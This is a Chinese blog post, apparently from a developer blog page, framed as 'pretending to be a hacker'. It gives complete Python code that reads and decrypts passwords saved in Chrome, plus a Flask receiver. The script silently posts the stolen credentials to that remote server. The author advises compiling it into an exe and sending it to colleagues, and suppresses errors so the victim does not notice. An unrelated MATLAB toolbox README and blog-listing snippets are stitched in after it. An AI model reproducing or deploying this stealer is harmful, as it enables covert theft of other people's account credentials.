使用Python假装装黑客,批量破解朋友的网站密码

使用python假装黑客,破解朋友的网站密码 如何破解iphone登陆密码 好好地为什么说这个? 周末看了一篇关于如何破解iphone手机密码的文章,瞬间觉得科学技术不是第一生产力,why? 剧“可靠消息”称,即便美国FBI也无法轻易的对iphone手机进行暴力破解,当然美国有一家黑客公司科针对iphone进行破解,单收费过万美金。 那么铺天盖地的iphone手机密码破解“黑客”是怎么做的? 无非是骗,他们假装成各类官方人员告诉你发现你的ip... 阅读详情

如何破解iphone登陆密码

今天看了一篇关于如何破解iphone手机密码的文章,瞬间觉得科学技术不是第一生产力,why?

根据“可靠消息”称,即便美国FBI也无法轻易的对iphone手机进行暴力破解,当然美国有一家黑客公司可针对iphone进行破解,单收费过万美金。

那么铺天盖地的iphone手机密码破解“黑客”是怎么做的?
无非是骗,他们假装成各类官方人员告诉你发现你的iphone手机存在异常,需要远程告知apple_id帮你追回手机,呵呵….
可是,这个梗和今天的文章有什么关系呢?

黑客的自我修养

随着Python的活跃,各大平台都在鼓吹,甚至已经出了关于python黑客入门的书籍。
也许做一个黑客难如登天,那不如我们换个思路,去假装做一个伪黑客如何?

前几天看帖子,发现我们使用浏览器的时候,当登陆一个需要输入用户名密码的网站时,在你登陆成功后,系统会提示你是否保存密码,如果点击确认,浏览器将会把我们本次输入的密码,存储在浏览器中,待下次登录时便可以免密登录。
那么,这些密码是怎么保存的,又存储在哪里呢?

Chrome浏览器

也许很多人会说,360浏览器、QQ浏览器,这些国产的加壳浏览器不论美观还是所谓的安全方面都做的很符合国人需求。但如果你的工作与IT挂钩,无疑Chrome将是很多朋友的首选。当然这篇文章不是介绍Chrome浏览器的使用手册,今天我们主要来看看Chrome浏览器的密码存储机制。

查看Chrome存储的密码表单

点击你们的Chrome浏览器右上角,进入设置->高级->管理密码(根据浏览器版本不同,可能存在部分差异),亦或者在Chrome浏览器中输入chrome://settings/passwords。你会看到很多已保存过的密码表单信息,当然如果你要查看密码详情,就要输入电脑的系统管理员密码。

那么,Chrome的密码是以什么方式进行存储的呢?SQLite…
很多嵌入式产品中,都会使用SQLite数据库进行数据存储,它占用资源低,数据库即文件,又支持sql语法的增删改查,简直不要太方便

SQLite在哪,又该怎么查询?

首先,进入我的电脑,地址栏中输入%LOCALAPPDATA%,进入app的数据存储路径:

C:\Users\Administrator\AppData\Local

之后进入chrome浏览器的密码数据库统一地址为:

Google\Chrome\User Data\Default\Login Data

查看Chrome浏览器存储的密码

既然拿到了SQLite数据库文件,我们随便找个sqlite工具,就能打开这个数据库了!
这里我使用sqlitestudio:

数据库信息展示.png

打开数据库,我们看到有三张表:
logins 、meta、 stats
其中logins中就存储这你保存的网址、用户名、密码数据,分别是:
signon_realm,username_value,password_value
但问题来了,password_value的字段看着是空的啊?因为加密了!
如何解密?网上查了下:

CryptUnprotectData数据可以在win32crypt中找到,要使用该模块,需要进行安装:
pip install pywin32
万事俱备,就差撸代码了!

代码实现

 1import os
2import shutil
3import sqlite3
4import win32crypt
5
6db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data')
7
8tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
9print(tmp_file)
10if os.path.exists(tmp_file):
11    os.remove(tmp_file)
12shutil.copyfile(db_file_path, tmp_file)
13
14conn = sqlite3.connect(tmp_file)
15for row in conn.execute('select signon_realm,username_value,password_value from logins'):
16    ret = win32crypt.CryptUnprotectData(row[2], None, None, N one, 0)
17    print('网站:%-50s,用户名:%-20s,密码:%s' % (row[0][:50], row[1], ret[1].decode('gbk')))
18
19conn.close()
20os.remove(tmp_file)

通过解密,我们获取到了Chrome浏览器保存的用户名密码,然后保存至文本。

获取到的本地密码.png

之后我们只需要使用pyinstaller -F xxx.py,将代码打包成exe发给同事,就可以在他的电脑上获取密码了!
但,如果咱们的黑客之旅到此为止,那这个伪黑客未免有点low了吧?

数据回传

为什么说要打包成exe?一是可以脱离环境单独执行,二却是为了加壳!
我们在原有的代码基础上,添加如下内容

1import requests
2try: # 记得添加try except 不然万一你忘记启动Flask程序,岂不是让同事发现了
3    requests.post('http://192.168.1.101:9999/index',
4                  data=''.join(passwordList).encode('utf-8'))
5except:
6    pass

最后整理我们的代码:

 1# -*- coding: utf-8 -*-
2# @Author  : 王翔
3# @JianShu : 清风Python
4# @Date    : 2019/5/18 22:53
5# Software : PyCharm
6# version:Python 3.6.8
7# @File    : ChromePassword.py
8
9import os
10import shutil
11import sqlite3
12import win32crypt
13import json
14import requests
15
16APP_DATA_PATH = os.environ["LOCALAPPDATA"]
17DB_PATH = r'Google\Chrome\User Data\Default\Login Data'
18
19
20class ChromePassword:
21
22    def __init__(self):
23        self.passwordsList = []
24
25    def get_chrome_db(self):
26        _full_path = os.path.join(APP_DATA_PATH, DB_PATH)
27        _tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
28        if os.path.exists(_tmp_file):
29            os.remove(_tmp_file)
30        shutil.copyfile(_full_path, _tmp_file)
31        self.show_passwords(_tmp_file)
32
33    def show_passwords(self, db_file):
34        conn = sqlite3.connect(db_file)
35        _sql = '''select signon_realm,username_value,password_value from logins'''
36        for row in conn.execute(_sql):
37            ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
38            # 密码解析后得到的是字节码,需要进行解码操作
39            _info = 'url: %-40s username: %-20s password: %s\n' % \
40                    (row[0][:50], row[1], ret[1].decode())
41            self.passwordsList.append(_info)
42        conn.close()
43        os.remove(db_file)
44
45    def save_passwords(self):
46        with open('password.txt', 'w', encoding='utf-8') as f:
47            f.writelines(self.passwordsList)
48
49    def transfer_passwords(self):
50        try:
51            # 此处填写远端Flask对应的IP:PORT
52            requests.post('http://192.168.1.102:9999/index',
53                          data=json.dumps(self.passwordsList))
54        except requests.exceptions.ConnectionError:
55            pass
56
57
58if __name__ == '__main__':
59    Main = ChromePassword()
60    Main.get_chrome_db()
61    Main.save_passwords()
62    Main.transfer_passwords()

下来,我们在本地写一个最简单的Flask程序,用户获取回传的参数,代码如下:

 1# -*- coding: utf-8 -*-
2# @Author  : 王翔
3# @JianShu : 清风Python
4# @Date    : 2019/5/18 22:53
5# Software : PyCharm
6# version:Python 3.6.8
7# @File    : ChromePassword.py
8
9from flask import Flask, request
10import time
11import json
12
13app = Flask(__name__)
14
15
16@app.route('/index', methods=["GET", "POST"])
17def index():
18    if request.method == 'POST':
19        _txtName = '%s_%s.txt' % (request.remote_addr,
20                                  time.strftime('%Y%m%d%H%M%S', time.localtime()))
21        with open(_txtName, 'w', encoding='utf-8') as f:
22            f.writelines(json.loads(request.data))
23    return "小哥,里面玩儿啊"
24
25
26if __name__ == '__main__':
27    # 端口可自行设置
28    app.run(host='0.0.0.0', port=9999)

打完收工,就差同事去点击你发给他的exe了。他以为你的工具仅仅把Chrome密码生成txt保存,
其实,在他点击工具的同时,你电脑会获取他传输的数据,并存储在一个ip时间戳的文本中!

Flask回传.png

然后,拿去给他们炫耀吧!

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B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

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网络安全最全Python语言在黑客攻击中的应用_python 黑客攻击代码,2024年最新最新网络安全笔试题分享

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。总之,Python可以用于实现密码破解程序,其中最常用的是使用字典攻击和暴力破解。网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。

2401_84264692的博客 572

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

3分钟告诉你如何成为一名黑客|零基础到黑客入门指南,你只需要掌握这五点能力

站在计算机角度上解释,黑客就是去寻找网站、系统、软件等漏洞,并利用漏洞来取得一些数据或达到控制,让对方程序崩溃等效果。刚入门的黑客大部分从事渗透工作,而渗透大部分属于web安全方向。因此换个淳朴点的名字称呼他们就是——安全工程师。是不是一下子就没那么神秘了?不过,所谓职称仅仅是代号。我认为黑客真正的魅力在于他们对于代码的痴迷与热爱,对自己能力近似于傲慢的自信以及打破陈规的创造力与勇气。当然不包括触犯法律。...

bsegebr的博客 7261

不一定是黑客,也可以是守护神《运用Python成为顶级黑客》

记得以前看美国的电影时,突然出现一个黑框框,然后突然出现一双手,在键盘上啪啪啪啪飞快地敲击,然后不是控制那片区域断电就是某个人家里断电,或者是某某某近期的出行积累或者开放记录。或者是攻破了某某公司的后台,锁死后台或者转账多少多少的。

xiangxueerfei的博客 232

Python安全攻防与密码学实战:从暴力破解到加密防御

密码学是信息安全的核心基础,它通过加密算法保护数据的机密性、完整性与身份认证。其原理涉及对称加密、非对称加密及哈希函数等技术,旨在构建可靠的通信与存储安全体系。在工程实践中,Python凭借丰富的库生态成为连接安全测试与防御构建的理想工具。例如,通过hashlib进行哈希计算,或利用cryptography实现现代加密方案,开发者能高效实施安全评估与系统加固。本文聚焦于Python在安全攻防与密码学中的实战应用,涵盖暴力破解的自动化策略与密码存储的安全升级,帮助读者在合法授权范围内深化对安全技术的理解与实践

weixin_33709219的博客 516

黑客如何从零学起?

我整理了一些关于网络安全的资料和内容,希望能对大家了解和学习网络安全有所帮助。如果需要这些资料,可以在评论区留言,我会尽快回复。同时,也欢迎大家分享自己的看法和经验,共同推动网络安全事业的发展。

2401_84692429的博客 1048
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菜鸟学Python
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